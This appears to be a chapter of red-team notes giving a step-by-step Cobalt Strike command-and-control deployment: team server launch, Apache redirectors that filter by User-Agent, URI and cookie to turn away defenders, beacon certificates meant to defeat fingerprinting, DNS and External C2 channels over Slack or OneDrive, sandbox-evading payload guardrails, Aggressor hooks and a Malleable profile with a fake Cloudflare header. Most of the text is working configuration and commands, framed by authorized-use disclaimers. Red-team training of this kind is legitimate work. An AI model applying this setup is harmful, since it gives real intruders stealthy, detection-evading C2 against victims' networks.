cobalt-strike-setup

15 — Cobalt Strike Setup

BLUF: This guide covers standing up a production-grade Cobalt Strike deployment: team server hardening, Apache/Nginx HTTPS redirectors, traffic filtering (URI, User-Agent, cookie), beacon certificates, DNS redirector, SSH tunnels, payload guardrails, External C2, and Aggressor script basics. Every step assumes a blue team that actively hunts C2 infrastructure.

Warning

Authorized use only. Cobalt Strike is a licensed commercial tool. All deployment must be within written engagement scope.

Note
Important

Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.

Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.

Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.

CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.


Architecture Overview

graph TD;
    A[Target Network] --> B[Compromised Hosts]
    B --> C[Beacon HTTPS/DNS/SMB]
    C --> D[Cloudflare / CDN]
    D --> E[Redirector — Apache/Nginx]
    E --> F[CS Team Server — Port 8443]
    F --> G[Operator — CS Client]

Separation of concerns:


1 — Team Server Setup

# Launch team server
sudo ./teamserver <TEAM_SERVER_IP> <PASSWORD> <C2_PROFILE.profile>

# Example
sudo ./teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile

# Harden firewall — only redirector should reach team server
ufw default deny incoming
ufw allow from <REDIRECTOR_IP> to any port 8443   # CS HTTPS listener
ufw allow from <REDIRECTOR_IP> to any port 50050  # CS team server port
ufw allow from <OPERATOR_IP>   to any port 50050  # Operator CS client
ufw allow 22/tcp
ufw enable

OPSEC: Never run ./teamserver without a malleable C2 profile. Default CS traffic fingerprints are in every NDR signature library.


2 — Apache HTTPS Redirector

2.1 Install Apache on Redirector VPS

# Debian/Ubuntu
sudo apt install apache2 -y
sudo a2enmod rewrite proxy proxy_http ssl headers
sudo systemctl enable apache2

# Amazon Linux
sudo yum install httpd mod_ssl -y
sudo systemctl enable httpd

2.2 Issue TLS Certificate

sudo apt install certbot python3-certbot-apache -y
sudo certbot --apache -d redirector.yourdomain.com
# Auto-renew
sudo certbot renew --dry-run

2.3 Configure Reverse Proxy

/etc/apache2/sites-available/redirector.conf:

<VirtualHost *:443>
    ServerName redirector.yourdomain.com
    SSLEngine on
    SSLCertificateFile     /etc/letsencrypt/live/redirector.yourdomain.com/fullchain.pem
    SSLCertificateKeyFile  /etc/letsencrypt/live/redirector.yourdomain.com/privkey.pem

    SSLProxyEngine on
    SSLProxyVerify none
    SSLProxyCheckPeerCN off
    SSLProxyCheckPeerName off

    ProxyPreserveHost On

    # Default: return 404 for unrecognized requests (blocks blue team recon)
    RewriteEngine On
    RewriteRule ^.*$ - [F,L]
</VirtualHost>
sudo a2ensite redirector.conf
sudo apache2ctl configtest
sudo systemctl reload apache2

3 — Traffic Filtering

3.1 User-Agent Filtering

Only proxy traffic from the specific User-Agent configured in your C2 profile. All other traffic gets blocked.

RewriteEngine On

# Only proxy if User-Agent matches the beacon profile UA
RewriteCond %{HTTP_USER_AGENT} "^Mozilla/5.0 \(Windows NT 10\.0; Win64; x64\)" [NC]
RewriteRule ^.*$ https://TEAM_SERVER_IP:8443%{REQUEST_URI} [P,L]

# All other User-Agents → 404
RewriteRule ^.*$ - [F,L]

3.2 URI Filtering

Allow only the specific beacon check-in URIs defined in your Malleable C2 profile:

RewriteEngine On

# Allow only URIs matching the C2 profile paths
RewriteCond %{REQUEST_URI} ^/(updates|downloads|api/v2/sync|cdn/static) [NC]
RewriteRule ^.*$ https://TEAM_SERVER_IP:8443%{REQUEST_URI} [P,L]

# Anything else → 404
RewriteRule ^.*$ - [F,L]

The beacon embeds metadata in a cookie (SESSIONID) instead of URL parameters — harder to correlate to C2.

Malleable C2 profile change (in webbug.profile or your custom profile):

# Change metadata transport from URL param to cookie
metadata {
    netbios;
    prepend "SESSIONID=";
    header "Cookie";
}

Apache .htaccess (or VirtualHost block):

RewriteEngine on

# Only proxy requests containing the SESSIONID cookie
RewriteCond %{HTTP_COOKIE} SESSIONID
RewriteRule ^.*$ https://TEAM_SERVER_IP:8443%{REQUEST_URI} [P,L]

# Requests without SESSIONID cookie → 404
RewriteRule ^.*$ - [F,L]

Blue team probe: curl https://redirector.yourdomain.com/test → 404 (no SESSIONID)
Beacon traffic: contains Cookie: SESSIONID=... → proxied to team server ✓

3.4 Query Parameter Filtering

# Only allow requests with known query params (from Malleable profile)
RewriteCond %{QUERY_STRING} ^(utm_source|utmcc|__id)= [NC]
RewriteRule ^.*$ https://TEAM_SERVER_IP:8443%{REQUEST_URI}?%{QUERY_STRING} [P,L]
RewriteRule ^.*$ - [F,L]

4 — Beacon TLS Certificate

By default CS generates a self-signed cert — trivially fingerprinted. Use a real domain certificate issued to a believable CN.

4.1 Convert Let's Encrypt Cert to Java Keystore

# On the team server
openssl pkcs12 -export \
    -in  /etc/letsencrypt/live/redirector.yourdomain.com/fullchain.pem \
    -inkey /etc/letsencrypt/live/redirector.yourdomain.com/privkey.pem \
    -out  /tmp/beacon.p12 \
    -name beacon -passout pass:MyStrongPass

keytool -importkeystore \
    -deststorepass MyStrongPass -destkeypass MyStrongPass \
    -destkeystore /opt/cobaltstrike/beacon.store \
    -srckeystore /tmp/beacon.p12 -srcstoretype PKCS12 \
    -srcstorepass MyStrongPass -alias beacon

4.2 Reference in Malleable C2 Profile

https-certificate {
    set keystore "beacon.store";
    set password "MyStrongPass";
}

Restart team server to apply. Beacon TLS cert now matches your CDN/redirector domain — defeats JA3S fingerprinting.


5 — SSH Tunnel (Secure Operator Access)

Never expose the team server port directly. Tunnel operator access through an SSH jump:

# On operator machine: forward local 50050 → team server 50050 via jump server
ssh -L 50050:TEAM_SERVER_IP:50050 -N -f user@JUMP_SERVER

# CS client connects to 127.0.0.1:50050 — never touches internet directly
# Make it persistent (autossh)
autossh -M 0 -o "ServerAliveInterval 30" \
    -L 50050:TEAM_SERVER_IP:50050 \
    -N user@JUMP_SERVER -i ~/.ssh/id_eng

6 — DNS Redirector

For DNS beacon channels, point the NS record for a subdomain at the redirector (not the team server directly):

# DNS record setup:
# NS  beacon.yourdomain.com  → REDIRECTOR_IP

# On redirector: forward DNS to team server
# Using dnsmasq:
sudo apt install dnsmasq -y
echo "server=/beacon.yourdomain.com/TEAM_SERVER_IP" >> /etc/dnsmasq.conf
sudo systemctl restart dnsmasq

# Team server DNS listener
./teamserver [IP] [PASS] [PROFILE]
# In CS: Listeners → Add → DNS Beacon → DNS Hosts: beacon.yourdomain.com

Disable Beacon staging for DNS beacons:

# In Malleable profile
set host_stage "false";

7 — Payload Guardrails

Guardrails restrict beacon execution to target environments only — prevents detonation in AV sandboxes or outside the engagement scope. Applies to stageless payloads only.

Parameter Example Effect
IP Address 10.10.120.* Only runs if host IP matches
Domain acme.corp Only runs if domain-joined to acme.corp
User Name svc_* Only runs as matching username
Server Name WS-* or DC-* Only runs on matching hostname

Configure in CS Listener:

Cobalt Strike → Listeners → Add/Edit → [HTTPS listener]
→ Guardrails: 10.10.120.* (IP) | acme.corp (domain)

How it works: Beacon silently exits with no callback if the conditions aren't met. A sandboxed AV submission will execute in a non-matching environment and produce zero telemetry.


8 — Disabling Beacon Staging

Staged payloads create a detectable second-stage download. Stageless is the safe default.

# Malleable C2 profile
set host_stage "false";
# Verify: attempt to download second stage (should fail/404)
curl https://redirector.yourdomain.com/whatever
# Expected: 404 — team server not serving stager

9 — External C2

External C2 allows using a custom communication channel (Slack, OneDrive, GitHub, etc.) to task beacons. The CS External C2 server acts as a bridge between the custom channel and CS's named pipe interface.

# Start External C2 listener in CS
# Cobalt Strike → Listeners → Add → External C2
# Port: 2222 (local, not internet-facing)

# External C2 framework bridge (example: Cobalt Strike ExternalC2 by outflanknl)
# Flow:
# Beacon → Custom channel (HTTPS Slack/OneDrive) → ExternalC2 client → CS port 2222 → Team server

Useful for: bypassing network perimeters that allow only specific cloud SaaS. See 7.7 Advanced C2 Techniques for channel implementations (OneDrive, GitHub Gist, Slack).


10 — Aggressor Script Basics

Aggressor scripts extend CS with custom commands, automation, and UI hooks.

# ~/.aggressor/autorun.cna — auto-loaded at CS client start

# Custom alias: instant spawnto change across all beacons
alias stealthy {
    bspawnto($1, "x64", "%windir%\\sysnative\\dllhost.exe");
    bspawnto($1, "x86", "%windir%\\syswow64\\dllhost.exe");
    blog($1, "SpawnTo set to dllhost.exe");
}

# Hook: Auto-set sleep on new beacon
on beacon_initial {
    bsleep($1, 300, 45);    # 5 min + 45% jitter
    blog($1, "Sleep set: 300s/45% jitter");
}

# Hook: Log all new beacons to a file
on beacon_initial {
    local('%info');
    %info = binfo($1);
    appendto("/tmp/beacons.log",
        "[" . formatDate("HH:mm:ss") . "] " .
        "New beacon: " . %info["computer"] . " @ " . %info["internal"] . "\n");
}
# Load a .cna file
# CS Client: Cobalt Strike → Script Manager → Load → select .cna

11 — Malleable C2 Profile Quick Reference

# Skeleton of a functional CS Malleable C2 profile

set sleeptime "300000";      # 5 minutes (ms)
set jitter     "45";          # 45% jitter
set useragent  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set data_jitter "256";        # random padding bytes
set host_stage  "false";      # disable staging

https-certificate {
    set keystore  "beacon.store";
    set password  "MyStrongPass";
}

http-get {
    set uri "/api/v2/sync /cdn/static/main.js";
    client {
        header "Accept"          "application/json, */*";
        header "Accept-Language" "en-US,en;q=0.9";
        # Metadata via cookie (requires cookie filtering on redirector)
        metadata { netbios; prepend "SESSIONID="; header "Cookie"; }
    }
    server {
        header "Content-Type"  "application/json";
        header "Cache-Control" "no-store, no-cache";
        header "CF-RAY"        "7f8a9b2c3d4e5f60-IAD";   # fake Cloudflare header
        output { base64url; prepend "{\"data\":\""; append "\"}"; print; }
    }
}

http-post {
    set uri "/api/v2/events";
    client {
        header "Content-Type" "application/json";
        id { netbios; parameter "sid"; }
        output { base64url; print; }
    }
    server {
        header "Content-Type" "application/json";
        output { base64url; print; }
    }
}

post-ex {
    set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
    set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
    set obfuscate "true";
    set smartinject "true";
}

12 — Pre-Engagement Checklist

DOMAIN & CERTS
[ ] Domain registered >= 14 days before use, categorized
[ ] Let's Encrypt cert on redirector (not self-signed)
[ ] Beacon .store keystore from LE cert (not CS default)
[ ] CF-RAY / server headers match cover story

REDIRECTOR
[ ] Apache/Nginx filtering: UA + URI + cookie — all active
[ ] Direct access to team server IP blocked (firewall)
[ ] Non-matching requests return 404 (blue team deflection)
[ ] Test: curl without SESSIONID → 404 ✓

TEAM SERVER
[ ] Custom Malleable profile loaded
[ ] host_stage = false
[ ] Guardrails configured for target IP/domain
[ ] SSH tunnel to operator, port 50050 not internet-exposed

BEACON
[ ] Sleep 300s+, jitter 45%+
[ ] SpawnTo set to non-default (dllhost.exe or svchost.exe)
[ ] Aggressor auto-sleep hook loaded
[ ] JARM check: python3 jarm.py redirector.yourdomain.com 443

Back to 7. C2 · Master Index